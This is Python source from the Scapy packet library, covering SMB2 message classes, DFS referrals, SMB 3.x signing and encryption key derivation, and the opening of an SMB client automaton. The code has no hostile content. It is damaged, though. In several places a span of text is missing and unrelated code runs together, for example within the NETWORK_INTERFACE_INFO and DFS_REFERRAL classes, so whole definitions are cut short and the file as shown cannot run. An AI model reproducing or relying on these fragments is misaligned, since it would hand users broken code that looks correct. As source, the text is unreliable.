2.2.31.4 class SMB2_IOCTL_Validate_Negotiate_Info_Request(Packet): name = "SMB2 IOCTL Validate Negotiate Info" fields_desc = ( SMB2_Negotiate_Protocol_Request.fields_desc[4:6] + SMB2_Negotiate_Protocol_Request.fields_desc[1:3][::-1] # Cap/GUID + [SMB2_Negotiate_Protocol_Request.fields_desc[9]] # SecMod/DC # Dialects ) # sect 2.2.31 class _SMB2_IOCTL_Request_PacketLenField(PacketLenField): def m2i(self, pkt, m): if pkt.CtlCode == 0x00140204: # FSCTL_VALIDATE_NEGOTIATE_INFO return SMB2_IOCTL_Validate_Negotiate_Info_Request(m) elif pkt.CtlCode == 0x00060194: # FSCTL_DFS_GET_REFERRALS return SMB2_IOCTL_REQ_GET_DFS_Referral(m) elif pkt.CtlCode == 0x00094264: # FSCTL_OFFLOAD_READ return SMB2_IOCTL_OFFLOAD_READ_Request(m) return conf.raw_layer(m) class SMB2_IOCTL_Request(_SMB2_Payload, _NTLMPayloadPacket): name = "SMB2 IOCTL Request" Command = 0x000B OFFSET = 56 + 64 _NTLM_PAYLOAD_FIELD_NAME = "Buffer" deprecated_fields = { "IntputCount": ("InputLen", "alias"), "OutputCount": ("OutputLen", "alias"), } fields_desc = [ XLEShortField("StructureSize", 0x39), LEShortField("Reserved", 0), LEIntEnumField( "CtlCode", 0, { 0x00060194: "FSCTL_DFS_GET_REFERRALS", 0x0011400C: "FSCTL_PIPE_PEEK", 0x00110018: "FSCTL_PIPE_WAIT", 0x0011C017: "FSCTL_PIPE_TRANSCEIVE", 0x001440F2: "FSCTL_SRV_COPYCHUNK", 0x00144064: "FSCTL_SRV_ENUMERATE_SNAPSHOTS", 0x00140078: "FSCTL_SRV_REQUEST_RESUME_KEY", 0x001441BB: "FSCTL_SRV_READ_HASH", 0x001480F2: "FSCTL_SRV_COPYCHUNK_WRITE", 0x001401D4: "FSCTL_LMR_REQUEST_RESILIENCY", 0x001401FC: "FSCTL_QUERY_NETWORK_INTERFACE_INFO", 0x000900A4: "FSCTL_SET_REPARSE_POINT", 0x000601B0: "FSCTL_DFS_GET_REFERRALS_EX", 0x00098208: "FSCTL_FILE_LEVEL_TRIM", 0x00140204: "FSCTL_VALIDATE_NEGOTIATE_INFO", 0x00094264: "FSCTL_OFFLOAD_READ", }, ), PacketField("FileId", SMB2_FILEID(), SMB2_FILEID), LEIntField("InputBufferOffset", None), LEIntField("InputLen", None), # Called InputCount but it's a length LEIntField("MaxInputResponse", 0), LEIntField("OutputBufferOffset", None), LEIntField("OutputLen", None), # Called OutputCount. LEIntField("MaxOutputResponse", 65535), FlagsField("Flags", 0, -32, {0x00000001: "SMB2_0_IOCTL_IS_FSCTL"}), LEIntField("Reserved2", 0), _NTLMPayloadField( "Buffer", OFFSET, [ _SMB2_IOCTL_Request_PacketLenField( "Input", None, conf.raw_layer, length_from=lambda pkt: pkt.InputLen ), _SMB2_IOCTL_Request_PacketLenField( "Output", None, conf.raw_layer, length_from=lambda pkt: pkt.OutputLen, ), ], ), ] def post_build(self, pkt, pay): # type: (bytes, bytes) -> bytes return ( _SMB2_post_build( self, pkt, self.OFFSET, { "Input": 24, "Output": 36, }, ) + pay ) bind_top_down( SMB2_Header, SMB2_IOCTL_Request, Command=0x000B, ) # sect 2.2.32.5 class SOCKADDR_STORAGE(Packet): fields_desc = [ LEShortEnumField("Family", 0x0002, {0x0002: "IPv4", 0x0017: "IPv6"}), ShortField("Port", 0), # IPv4 ConditionalField( IPField("IPv4Adddress", None), lambda pkt: pkt.Family == 0x0002, ), ConditionalField( StrFixedLenField("Reserved", b"", length=8), lambda pkt: pkt.Family == 0x0002, ), # IPv6 ConditionalField( LEIntField("FlowInfo", 0), lambda pkt: pkt.Family == 0x00017, ), ConditionalField( IP6Field("IPv6Address", None), lambda pkt: pkt.Family == 0x00017, ), ConditionalField( LEIntField("ScopeId", 0), lambda pkt: pkt.Family == 0x00017, ), ] def default_payload_class(self, _): return conf.padding_layer class NETWORK_INTERFACE_INFO(Packet): fields_desc = [ LEIntField("Next", None), # 0 = no next entry LEIntField("IfIndex", 1), FlagsField( "Capability", 1, -32, { 0x00000001: "RSS_CAPABLE", 0x00000002: "RDMA_CAPABLE", }, ), LEIntField("Reserved", 0), ScalingField("LinkSpeed", 10000000000, fmt=" bytes return ( _SMB2_post_build( self, pkt, self.OFFSET, { "Input": 24, "Output": 32, }, ) + pay ) bind_top_down( SMB2_Header, SMB2_IOCTL_Response, Command=0x000B, Flags=1, # SMB2_FLAGS_SERVER_TO_REDIR ) # sect 2.2.33 class SMB2_Query_Directory_Request(_SMB2_Payload, _NTLMPayloadPacket): name = "SMB2 QUERY DIRECTORY Request" Command = 0x000E OFFSET = 32 + 64 _NTLM_PAYLOAD_FIELD_NAME = "Buffer" fields_desc = [ XLEShortField("StructureSize", 0x21), ByteEnumField("FileInformationClass", 0x1, FileInformationClasses), FlagsField( "Flags", 0, -8, { 0x01: "SMB2_RESTART_SCANS", 0x02: "SMB2_RETURN_SINGLE_ENTRY", 0x04: "SMB2_INDEX_SPECIFIED", 0x10: "SMB2_REOPEN", }, ), LEIntField("FileIndex", 0), PacketField("FileId", SMB2_FILEID(), SMB2_FILEID), LEShortField("FileNameBufferOffset", None), LEShortField("FileNameLen", None), LEIntField("OutputBufferLength", 65535), _NTLMPayloadField("Buffer", OFFSET, [StrFieldUtf16("FileName", b"")]), ] def post_build(self, pkt, pay): # type: (bytes, bytes) -> bytes return ( _SMB2_post_build( self, pkt, self.OFFSET, { "FileName": 24, }, ) + pay ) bind_top_down( SMB2_Header, SMB2_Query_Directory_Request, Command=0x000E, ) # sect 2.2.34 class SMB2_Query_Directory_Response(_SMB2_Payload, _NTLMPayloadPacket): name = "SMB2 QUERY DIRECTORY Response" Command = 0x000E OFFSET = 8 + 64 _NTLM_PAYLOAD_FIELD_NAME = "Buffer" fields_desc = [ XLEShortField("StructureSize", 0x9), LEShortField("OutputBufferOffset", None), LEIntField("OutputLen", None), _NTLMPayloadField( "Buffer", OFFSET, [ # TODO StrFixedLenField("Output", b"", length_from=lambda pkt: pkt.OutputLen) ], ), ] def post_build(self, pkt, pay): # type: (bytes, bytes) -> bytes return ( _SMB2_post_build( self, pkt, self.OFFSET, { "Output": 2, }, ) + pay ) bind_top_down( SMB2_Header, SMB2_Query_Directory_Response, Command=0x000E, Flags=1, ) # sect 2.2.35 class SMB2_Change_Notify_Request(_SMB2_Payload): name = "SMB2 CHANGE NOTIFY Request" Command = 0x000F fields_desc = [ XLEShortField("StructureSize", 0x20), FlagsField( "Flags", 0, -16, { 0x0001: "SMB2_WATCH_TREE", }, ), LEIntField("OutputBufferLength", 2048), PacketField("FileId", SMB2_FILEID(), SMB2_FILEID), FlagsField( "CompletionFilter", 0, -32, { 0x00000001: "FILE_NOTIFY_CHANGE_FILE_NAME", 0x00000002: "FILE_NOTIFY_CHANGE_DIR_NAME", 0x00000004: "FILE_NOTIFY_CHANGE_ATTRIBUTES", 0x00000008: "FILE_NOTIFY_CHANGE_SIZE", 0x00000010: "FILE_NOTIFY_CHANGE_LAST_WRITE", 0x00000020: "FILE_NOTIFY_CHANGE_LAST_ACCESS", 0x00000040: "FILE_NOTIFY_CHANGE_CREATION", 0x00000080: "FILE_NOTIFY_CHANGE_EA", 0x00000100: "FILE_NOTIFY_CHANGE_SECURITY", 0x00000200: "FILE_NOTIFY_CHANGE_STREAM_NAME", 0x00000400: "FILE_NOTIFY_CHANGE_STREAM_SIZE", 0x00000800: "FILE_NOTIFY_CHANGE_STREAM_WRITE", }, ), LEIntField("Reserved", 0), ] bind_top_down( SMB2_Header, SMB2_Change_Notify_Request, Command=0x000F, ) # sect 2.2.36 class SMB2_Change_Notify_Response(_SMB2_Payload, _NTLMPayloadPacket): name = "SMB2 CHANGE NOTIFY Response" Command = 0x000F OFFSET = 8 + 64 _NTLM_PAYLOAD_FIELD_NAME = "Buffer" fields_desc = [ XLEShortField("StructureSize", 0x9), LEShortField("OutputBufferOffset", None), LEIntField("OutputLen", None), _NTLMPayloadField( "Buffer", OFFSET, [ _NextPacketListField( "Output", [], FILE_NOTIFY_INFORMATION, length_from=lambda pkt: pkt.OutputLen, max_count=1000, ) ], ), ] def post_build(self, pkt, pay): # type: (bytes, bytes) -> bytes return ( _SMB2_post_build( self, pkt, self.OFFSET, { "Output": 2, }, ) + pay ) bind_top_down( SMB2_Header, SMB2_Change_Notify_Response, Command=0x000F, Flags=1, ) # sect 2.2.37 class FILE_GET_QUOTA_INFORMATION(Packet): fields_desc = [ IntField("NextEntryOffset", 0), FieldLenField("SidLength", None, length_of="Sid"), StrLenField("Sid", b"", length_from=lambda x: x.SidLength), StrLenField( "pad", b"", length_from=lambda x: ( (x.NextEntryOffset - x.SidLength) if x.NextEntryOffset else 0 ), ), ] class SMB2_Query_Quota_Info(Packet): fields_desc = [ ByteField("ReturnSingle", 0), ByteField("ReturnBoolean", 0), ShortField("Reserved", 0), LEIntField("SidListLength", 0), LEIntField("StartSidLength", 0), LEIntField("StartSidOffset", 0), StrLenField("pad", b"", length_from=lambda x: x.StartSidOffset), MultipleTypeField( [ ( PacketListField( "SidBuffer", [], FILE_GET_QUOTA_INFORMATION, length_from=lambda x: x.SidListLength, ), lambda x: x.SidListLength, ), ( StrLenField( "SidBuffer", b"", length_from=lambda x: x.StartSidLength ), lambda x: x.StartSidLength, ), ], StrFixedLenField("SidBuffer", b"", length=0), ), ] SMB2_INFO_TYPE = { 0x01: "SMB2_0_INFO_FILE", 0x02: "SMB2_0_INFO_FILESYSTEM", 0x03: "SMB2_0_INFO_SECURITY", 0x04: "SMB2_0_INFO_QUOTA", } SMB2_ADDITIONAL_INFORMATION = { 0x00000001: "OWNER_SECURITY_INFORMATION", 0x00000002: "GROUP_SECURITY_INFORMATION", 0x00000004: "DACL_SECURITY_INFORMATION", 0x00000008: "SACL_SECURITY_INFORMATION", 0x00000010: "LABEL_SECURITY_INFORMATION", 0x00000020: "ATTRIBUTE_SECURITY_INFORMATION", 0x00000040: "SCOPE_SECURITY_INFORMATION", 0x00010000: "BACKUP_SECURITY_INFORMATION", } class SMB2_Query_Info_Request(_SMB2_Payload, _NTLMPayloadPacket): name = "SMB2 QUERY INFO Request" Command = 0x0010 OFFSET = 40 + 64 _NTLM_PAYLOAD_FIELD_NAME = "Buffer" fields_desc = [ XLEShortField("StructureSize", 0x29), ByteEnumField( "InfoType", 0, SMB2_INFO_TYPE, ), ByteEnumField("FileInfoClass", 0, FileInformationClasses), LEIntField("OutputBufferLength", 0), XLEIntField("InputBufferOffset", None), # Short + Reserved = Int LEIntField("InputLen", None), FlagsField( "AdditionalInformation", 0, -32, SMB2_ADDITIONAL_INFORMATION, ), FlagsField( "Flags", 0, -32, { 0x00000001: "SL_RESTART_SCAN", 0x00000002: "SL_RETURN_SINGLE_ENTRY", 0x00000004: "SL_INDEX_SPECIFIED", }, ), PacketField("FileId", SMB2_FILEID(), SMB2_FILEID), _NTLMPayloadField( "Buffer", OFFSET, [ MultipleTypeField( [ ( # QUOTA PacketListField( "Input", None, SMB2_Query_Quota_Info, length_from=lambda pkt: pkt.InputLen, ), lambda pkt: pkt.InfoType == 0x04, ), ], StrLenField("Input", b"", length_from=lambda pkt: pkt.InputLen), ), ], ), ] def post_build(self, pkt, pay): # type: (bytes, bytes) -> bytes return ( _SMB2_post_build( self, pkt, self.OFFSET, { "Input": 4, }, ) + pay ) bind_top_down( SMB2_Header, SMB2_Query_Info_Request, Command=0x00010, ) class SMB2_Query_Info_Response(_SMB2_Payload, _NTLMPayloadPacket): name = "SMB2 QUERY INFO Response" Command = 0x0010 OFFSET = 8 + 64 _NTLM_PAYLOAD_FIELD_NAME = "Buffer" fields_desc = [ XLEShortField("StructureSize", 0x9), LEShortField("OutputBufferOffset", None), LEIntField("OutputLen", None), _NTLMPayloadField( "Buffer", OFFSET, [ # TODO StrFixedLenField("Output", b"", length_from=lambda pkt: pkt.OutputLen) ], ), ] def post_build(self, pkt, pay): # type: (bytes, bytes) -> bytes return ( _SMB2_post_build( self, pkt, self.OFFSET, { "Output": 2, }, ) + pay ) bind_top_down( SMB2_Header, SMB2_Query_Info_Response, Command=0x00010, Flags=1, ) # sect 2.2.39 class SMB2_Set_Info_Request(_SMB2_Payload, _NTLMPayloadPacket): name = "SMB2 SET INFO Request" Command = 0x0011 OFFSET = 32 + 64 _NTLM_PAYLOAD_FIELD_NAME = "Buffer" fields_desc = [ XLEShortField("StructureSize", 0x21), ByteEnumField( "InfoType", 0, SMB2_INFO_TYPE, ), ByteEnumField("FileInfoClass", 0, FileInformationClasses), LEIntField("DataLen", None), XLEIntField("DataBufferOffset", None), # Short + Reserved = Int FlagsField( "AdditionalInformation", 0, -32, SMB2_ADDITIONAL_INFORMATION, ), PacketField("FileId", SMB2_FILEID(), SMB2_FILEID), _NTLMPayloadField( "Buffer", OFFSET, [ MultipleTypeField( [ ( # FILE PacketLenField( "Data", None, lambda x, _parent: _FileInformationClasses.get( _parent.FileInfoClass, conf.raw_layer )(x), length_from=lambda pkt: pkt.DataLen, ), lambda pkt: pkt.InfoType == 0x01, ), ( # QUOTA PacketListField( "Data", None, SMB2_Query_Quota_Info, length_from=lambda pkt: pkt.DataLen, ), lambda pkt: pkt.InfoType == 0x04, ), ], StrLenField("Data", b"", length_from=lambda pkt: pkt.DataLen), ), ], ), ] def post_build(self, pkt, pay): # type: (bytes, bytes) -> bytes return ( _SMB2_post_build( self, pkt, self.OFFSET, { "Data": 4, }, ) + pay ) bind_top_down( SMB2_Header, SMB2_Set_Info_Request, Command=0x00011, ) class SMB2_Set_Info_Response(_SMB2_Payload): name = "SMB2 SET INFO Request" Command = 0x0011 fields_desc = [ XLEShortField("StructureSize", 0x02), ] bind_top_down( SMB2_Header, SMB2_Set_Info_Response, Command=0x00011, Flags=1, ) # sect 2.2.41 class SMB2_Transform_Header(Packet): name = "SMB2 Transform Header" fields_desc = [ StrFixedLenField("Start", b"\xfdSMB", 4), XStrFixedLenField("Signature", 0, length=16), XStrFixedLenField("Nonce", b"", length=16), LEIntField("OriginalMessageSize", 0x0), LEShortField("Reserved", 0), LEShortEnumField( "Flags", 0x1, { 0x0001: "ENCRYPTED", }, ), LELongField("SessionId", 0), ] def decrypt(self, dialect, DecryptionKey, CipherId): """ [MS-SMB2] sect 3.2.5.1.1.1 - Decrypting the Message """ if not isinstance(self.payload, conf.raw_layer): raise Exception("No payload to decrypt !") if "GCM" in CipherId: from cryptography.hazmat.primitives.ciphers.aead import AESGCM nonce = self.Nonce[:12] cipher = AESGCM(DecryptionKey) elif "CCM" in CipherId: from cryptography.hazmat.primitives.ciphers.aead import AESCCM nonce = self.Nonce[:11] cipher = AESCCM(DecryptionKey) else: raise Exception("Unknown CipherId !") # Decrypt the data aad = self.self_build()[20:] data = cipher.decrypt( nonce, self.payload.load + self.Signature, aad, ) return SMB2_Header(data, _decrypted=True) bind_layers(SMB2_Transform_Header, conf.raw_layer) # sect 2.2.42.1 class SMB2_Compression_Transform_Header(Packet): name = "SMB2 Compression Transform Header" fields_desc = [ StrFixedLenField("Start", b"\xfcSMB", 4), LEIntField("OriginalCompressedSegmentSize", 0x0), LEShortEnumField("CompressionAlgorithm", 0, SMB2_COMPRESSION_ALGORITHMS), LEShortEnumField( "Flags", 0x0, { 0x0000: "SMB2_COMPRESSION_FLAG_NONE", 0x0001: "SMB2_COMPRESSION_FLAG_CHAINED", }, ), XLEIntField("Offset_or_Length", 0), ] # [MS-DFSC] sect 2.2 class SMB2_IOCTL_REQ_GET_DFS_Referral(Packet): fields_desc = [ LEShortField("MaxReferralLevel", 0), StrNullFieldUtf16("RequestFileName", ""), ] class DFS_REFERRAL(Packet): fields_desc = [ LEShortField("Version", 1), FieldLenField( "Size", None, fmt="= 2: version = struct.unpack(" bytes if self.Size is None: pkt = pkt[:2] + struct.pack(" bytes # Note: Windows is smart and uses some sort of compression in the sense # that it reuses fields that are used several times across ReferralBuffer. # But we just do the dumb thing because it's 'easier', and do no compression. offsets = { # DFS_REFERRAL_ENTRY0 "DFSPath": 12, "DFSAlternatePath": 14, "NetworkAddress": 16, # DFS_REFERRAL_ENTRY1 "SpecialName": 12, "ExpandedName": 16, } # dataoffset = pointer in the ReferralBuffer # entryoffset = pointer in the ReferralEntries dataoffset = sum(len(x) for x in self.ReferralEntries) entryoffset = 8 for ref, buf in zip(self.ReferralEntries, self.ReferralBuffer): for fld in buf.fields_desc: off = entryoffset + offsets[fld.name] if ref.getfieldval(fld.name + "Offset") is None and buf.getfieldval( fld.name ): pkt = pkt[:off] + struct.pack("= 0x0300: if self.Dialect == 0x0311: label = b"SMBSigningKey\x00" context = self.SessionPreauthIntegrityHashValue else: label = b"SMB2AESCMAC\x00" context = b"SmbSign\x00" # [MS-SMB2] sect 3.1.4.2 if "256" in self.CipherId: L = 256 elif "128" in self.CipherId: L = 128 else: raise ValueError self.SigningKey = SP800108_KDFCTR( self.sspcontext.SessionKey[:16], label, context, L, ) # EncryptionKey / DecryptionKey if self.Dialect == 0x0311: if IsClient: label_out = b"SMBC2SCipherKey\x00" label_in = b"SMBS2CCipherKey\x00" else: label_out = b"SMBS2CCipherKey\x00" label_in = b"SMBC2SCipherKey\x00" context_out = context_in = self.SessionPreauthIntegrityHashValue else: label_out = label_in = b"SMB2AESCCM\x00" if IsClient: context_out = b"ServerIn \x00" # extra space per spec context_in = b"ServerOut\x00" else: context_out = b"ServerOut\x00" context_in = b"ServerIn \x00" self.EncryptionKey = SP800108_KDFCTR( self.sspcontext.SessionKey[: L // 8], label_out, context_out, L, ) self.DecryptionKey = SP800108_KDFCTR( self.sspcontext.SessionKey[: L // 8], label_in, context_in, L, ) elif self.Dialect <= 0x0210: self.SigningKey = self.sspcontext.SessionKey[:16] else: raise ValueError("Hmmm ? >:(") def computeSMBConnectionPreauth(self, *negopkts): if self.Dialect and self.Dialect >= 0x0311: # SMB 3.1.1 only # [MS-SMB2] 3.3.5.4 # TODO: handle SMB2_SESSION_FLAG_BINDING if self.ConnectionPreauthIntegrityHashValue is None: # New auth or failure self.ConnectionPreauthIntegrityHashValue = b"\x00" * 64 # Calculate the *Connection* PreauthIntegrityHashValue for negopkt in negopkts: self.ConnectionPreauthIntegrityHashValue = ( SMB2computePreauthIntegrityHashValue( self.ConnectionPreauthIntegrityHashValue, negopkt, HashId=self.PreauthIntegrityHashId, ) ) def computeSMBSessionPreauth(self, *sesspkts): if self.Dialect and self.Dialect >= 0x0311: # SMB 3.1.1 only # [MS-SMB2] 3.3.5.5.3 if self.SessionPreauthIntegrityHashValue is None: # New auth or failure self.SessionPreauthIntegrityHashValue = ( self.ConnectionPreauthIntegrityHashValue ) # Calculate the *Session* PreauthIntegrityHashValue for sesspkt in sesspkts: self.SessionPreauthIntegrityHashValue = ( SMB2computePreauthIntegrityHashValue( self.SessionPreauthIntegrityHashValue, sesspkt, HashId=self.PreauthIntegrityHashId, ) ) # I/O def in_pkt(self, pkt): """ Incoming SMB packet """ if SMB2_Transform_Header in pkt: # Packet is encrypted pkt = pkt[SMB2_Transform_Header].decrypt( self.Dialect, self.DecryptionKey, CipherId=self.CipherId, ) # Signature is verified in SMBStreamSocket return pkt def out_pkt(self, pkt, Compounded=False, ForceSign=False, ForceEncrypt=False): """ Outgoing SMB packet :param pkt: the packet to send :param Compound: if True, will be stack to be send with the next un-compounded packet :param ForceSign: if True, force to sign the packet. :param ForceEncrypt: if True, force to encrypt the packet. Handles: - handle compounded requests (if any): [MS-SMB2] 3.3.5.2.7 - handles signing and encryption (if required) """ # Note: impacket and wireshark get crazy on compounded+signature, but # windows+samba tells we're right :D if SMB2_Header in pkt: if self.CompoundQueue: # this is a subsequent compound: only keep the SMB2 pkt = pkt[SMB2_Header] if Compounded: # [MS-SMB2] 3.2.4.1.4 # "Compounded requests MUST be aligned on 8-byte boundaries; the # last request of the compounded requests does not need to be padded to # an 8-byte boundary." # [MS-SMB2] 3.1.4.1 # "If the message is part of a compounded chain, any # padding at the end of the message MUST be used in the hash # computation." length = len(pkt[SMB2_Header]) padlen = (-length) % 8 if padlen: pkt.add_payload(b"\x00" * padlen) pkt[SMB2_Header].NextCommand = length + padlen if ( self.Dialect and self.SigningKey and (ForceSign or self.SigningRequired and not ForceEncrypt) ): # [MS-SMB2] sect 3.2.4.1.1 - Signing smb = pkt[SMB2_Header] smb.Flags += "SMB2_FLAGS_SIGNED" smb.sign( self.Dialect, self.SigningKey, # SMB 3.1.1 parameters: SigningAlgorithmId=self.SigningAlgorithmId, IsClient=False, ) if Compounded: # There IS a next compound. Store in queue self.CompoundQueue.append(pkt) return [] else: # If there are any compounded responses in store, sum them if self.CompoundQueue: pkt = functools.reduce(lambda x, y: x / y, self.CompoundQueue) / pkt self.CompoundQueue.clear() if self.EncryptionKey and ( ForceEncrypt or self.EncryptData or self.TreeEncryptData ): # [MS-SMB2] sect 3.1.4.3 - Encrypting the message smb = pkt[SMB2_Header] assert not smb.Flags.SMB2_FLAGS_SIGNED smbt = smb.encrypt( self.Dialect, self.EncryptionKey, CipherId=self.CipherId, ) if smb.underlayer: # If there's an underlayer, replace current SMB header smb.underlayer.payload = smbt else: smb = smbt return [pkt] def process(self, pkt: Packet): # Called when passively sniffing pkt = super(SMBSession, self).process(pkt) if pkt is not None and SMB2_Header in pkt: return self.in_pkt(pkt) return pkt ================================================ FILE: scapy/layers/smbclient.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Gabriel Potter """ SMB 1 / 2 Client Automaton .. note:: You will find more complete documentation for this layer over at `SMB `_ """ import io import os import pathlib import socket import time import threading from scapy.automaton import ATMT, Automaton, ObjectPipe from scapy.config import conf from scapy.error import Scapy_Exception from scapy.fields import UTCTimeField from scapy.supersocket import SuperSocket from scapy.utils import ( CLIUtil, pretty_list, human_size, ) from scapy.volatile import RandUUID from scapy.layers.dcerpc import NDRUnion, find_dcerpc_interface from scapy.layers.gssapi import ( GSS_S_COMPLETE, GSS_S_CONTINUE_NEEDED, GSS_C_FLAGS, ) from scapy.layers.msrpce.raw.ms_srvs import ( LPSHARE_ENUM_STRUCT, NetrShareEnum_Request, SHARE_INFO_1_CONTAINER, ) from scapy.layers.ntlm import ( NTLMSSP, ) from scapy.layers.smb import ( SMBNegotiate_Request, SMBNegotiate_Response_Extended_Security, SMBNegotiate_Response_Security, SMBSession_Null, SMBSession_Setup_AndX_Request, SMBSession_Setup_AndX_Request_Extended_Security, SMBSession_Setup_AndX_Response, SMBSession_Setup_AndX_Response_Extended_Security, SMB_Dialect, SMB_Header, ) from scapy.layers.windows.security import SECURITY_DESCRIPTOR from scapy.layers.smb2 import ( DirectTCP, FileAllInformation, FileIdBothDirectoryInformation, SMB2_CREATE_DURABLE_HANDLE_REQUEST_V2, SMB2_CREATE_REQUEST_LEASE, SMB2_CREATE_REQUEST_LEASE_V2, SMB2_Change_Notify_Request, SMB2_Change_Notify_Response, SMB2_Close_Request, SMB2_Close_Response, SMB2_Create_Context, SMB2_Create_Request, SMB2_Create_Response, SMB2_ENCRYPTION_CIPHERS, SMB2_Encryption_Capabilities, SMB2_Error_Response, SMB2_Header, SMB2_IOCTL_Request, SMB2_IOCTL_Response, SMB2_Negotiate_Context, SMB2_Negotiate_Protocol_Request, SMB2_Negotiate_Protocol_Response, SMB2_Netname_Negotiate_Context_ID, SMB2_Preauth_Integrity_Capabilities, SMB2_Query_Directory_Request, SMB2_Query_Directory_Response, SMB2_Query_Info_Request, SMB2_Query_Info_Response, SMB2_Read_Request, SMB2_Read_Response, SMB2_SIGNING_ALGORITHMS, SMB2_Session_Setup_Request, SMB2_Session_Setup_Response, SMB2_Signing_Capabilities, SMB2_Tree_Connect_Request, SMB2_Tree_Connect_Response, SMB2_Tree_Disconnect_Request, SMB2_Tree_Disconnect_Response, SMB2_Write_Request, SMB2_Write_Response, SMBStreamSocket, SMB_DIALECTS, SRVSVC_SHARE_TYPES, STATUS_ERREF, ) from scapy.layers.spnego import SPNEGOSSP class SMB_Client(Automaton): """ SMB client automaton :param sock: the SMBStreamSocket to use :param ssp: the SSP to use All other options (in caps) are optional, and SMB specific: :param REQUIRE_SIGNATURE: set 'Require Signature' :param REQUIRE_ENCRYPTION: set 'Requite Encryption' :param MIN_DIALECT: minimum SMB dialect. Defaults to 0x0202 (2.0.2) :param MAX_DIALECT: maximum SMB dialect. Defaults to 0x0311 (3.1.1) :param DIALECTS: list of supported SMB2 dialects. Constructed from MIN_DIALECT, MAX_DIALECT otherwise. """ port = 445 cls = DirectTCP def __init__(self, sock, ssp=None, *args, **kwargs): # Various SMB client arguments self.EXTENDED_SECURITY = kwargs.pop("EXTENDED_SECURITY", True) self.USE_SMB1 = kwargs.pop("USE_SMB1", False) self.REQUIRE_SIGNATURE = kwargs.pop("REQUIRE_SIGNATURE", None) self.REQUIRE_ENCRYPTION = kwargs.pop("REQUIRE_ENCRYPTION", False) self.RETRY = kwargs.pop("RETRY", 0) # optionally: retry n times session setup self.SMB2 = kwargs.pop("SMB2", False) # optionally: start directly in SMB2 self.HOST = kwargs.pop("HOST", "") # Store supported dialects if "DIALECTS" in kwargs: self.DIALECTS = kwargs.pop("DIALECTS") else: MIN_DIALECT = kwargs.pop("MIN_DIALECT", 0x0202) self.MAX_DIALECT = kwargs.pop("MAX_DIALECT", 0x0311) self.DIALECTS = sorted( [ x for x in [0x0202, 0x0210, 0x0300, 0x0302, 0x0311] if x >= MIN_DIALECT and x <= self.MAX_DIALECT ] ) # Internal Session information self.ErrorStatus = None self.NegotiateCapabilities = None self.GUID = RandUUID()._fix() self.SequenceWindow = (0, 0) # keep track of allowed MIDs self.CurrentCreditCount = 0 self.MaxCreditCount = 128 if ssp is None: # We got no SSP. Assuming the server allows anonymous ssp = SPNEGOSSP( [ NTLMSSP( UPN="guest", HASHNT=b"", ) ] ) # Initialize kwargs["sock"] = sock Automaton.__init__( self, *args, **kwargs, ) if self.is_atmt_socket: self.smb_sock_ready = threading.Event() # Set session options self.session.ssp = ssp self.session.SigningRequired = ( self.REQUIRE_SIGNATURE if self.REQUIRE_SIGNATURE is not None else bool(ssp) ) self.session.Dialect = self.MAX_DIALECT @classmethod def from_tcpsock(cls, sock, **kwargs): return cls.smblink( None, SMBStreamSocket(sock, DirectTCP), **kwargs, ) @property def session(self): # session shorthand return self.sock.session def send(self, pkt): # Calculate what CreditCharge to send. if self.session.Dialect > 0x0202 and isinstance(pkt.payload, SMB2_Header): # [MS-SMB2] sect 3.2.4.1.5 typ = type(pkt.payload.payload) if typ is SMB2_Negotiate_Protocol_Request: # See [MS-SMB2] 3.2.4.1.2 note pkt.CreditCharge = 0 elif typ in [ SMB2_Read_Request, SMB2_Write_Request, SMB2_IOCTL_Request, SMB2_Query_Directory_Request, SMB2_Change_Notify_Request, SMB2_Query_Info_Request, ]: # [MS-SMB2] 3.1.5.2 # "For READ, WRITE, IOCTL, and QUERY_DIRECTORY requests" # "CHANGE_NOTIFY, QUERY_INFO, or SET_INFO" if typ == SMB2_Read_Request: Length = pkt.payload.Length elif typ == SMB2_Write_Request: Length = len(pkt.payload.Data) elif typ == SMB2_IOCTL_Request: # [MS-SMB2] 3.3.5.15 Length = max(len(pkt.payload.Input), pkt.payload.MaxOutputResponse) elif typ in [ SMB2_Query_Directory_Request, SMB2_Change_Notify_Request, SMB2_Query_Info_Request, ]: Length = pkt.payload.OutputBufferLength else: raise RuntimeError("impossible case") pkt.CreditCharge = 1 + (Length - 1) // 65536 else: # "For all other requests, the client MUST set CreditCharge to 1" pkt.CreditCharge = 1 # Keep track of our credits self.CurrentCreditCount -= pkt.CreditCharge # [MS-SMB2] note <110> # "The Windows-based client will request credits up to a configurable # maximum of 128 by default." pkt.CreditRequest = self.MaxCreditCount - self.CurrentCreditCount # Get first available message ID: [MS-SMB2] 3.2.4.1.3 and 3.2.4.1.5 pkt.MID = self.SequenceWindow[0] return super(SMB_Client, self).send(pkt) @ATMT.state(initial=1) def BEGIN(self): pass @ATMT.condition(BEGIN) def continue_smb2(self): if self.SMB2: # Directly started in SMB2 self.smb_header = DirectTCP() / SMB2_Header(PID=0xFEFF) raise self.SMB2_NEGOTIATE() @ATMT.condition(BEGIN, prio=1) def send_negotiate(self): raise self.SENT_NEGOTIATE() @ATMT.action(send_negotiate) def on_negotiate(self): # [MS-SMB2] sect 3.2.4.2.2.1 - Multi-Protocol Negotiate self.smb_header = DirectTCP() / SMB_Header( Flags2=( "LONG_NAMES+EAS+NT_STATUS+UNICODE+" "SMB_SECURITY_SIGNATURE+EXTENDED_SECURITY" ), TID=0xFFFF, PIDLow=0xFEFF, UID=0, MID=0, ) if self.EXTENDED_SECURITY: self.smb_header.Flags2 += "EXTENDED_SECURITY" pkt = self.smb_header.copy() / SMBNegotiate_Request( Dialects=[ SMB_Dialect(DialectString=x) for x in [ "PC NETWORK PROGRAM 1.0", "LANMAN1.0", "Windows for Workgroups 3.1a", "LM1.2X002", "LANMAN2.1", "NT LM 0.12", ] + (["SMB 2.002", "SMB 2.???"] if not self.USE_SMB1 else []) ], ) if not self.EXTENDED_SECURITY: pkt.Flags2 -= "EXTENDED_SECURITY" pkt[SMB_Header].Flags2 = ( pkt[SMB_Header].Flags2 - "SMB_SECURITY_SIGNATURE" + "SMB_SECURITY_SIGNATURE_REQUIRED+IS_LONG_NAME" ) self.send(pkt) @ATMT.state() def SENT_NEGOTIATE(self): pass @ATMT.state() def SMB2_NEGOTIATE(self): pass @ATMT.condition(SMB2_NEGOTIATE) def send_negotiate_smb2(self): raise self.SENT_NEGOTIATE() @ATMT.action(send_negotiate_smb2) def on_negotiate_smb2(self): # [MS-SMB2] sect 3.2.4.2.2.2 - SMB2-Only Negotiate pkt = 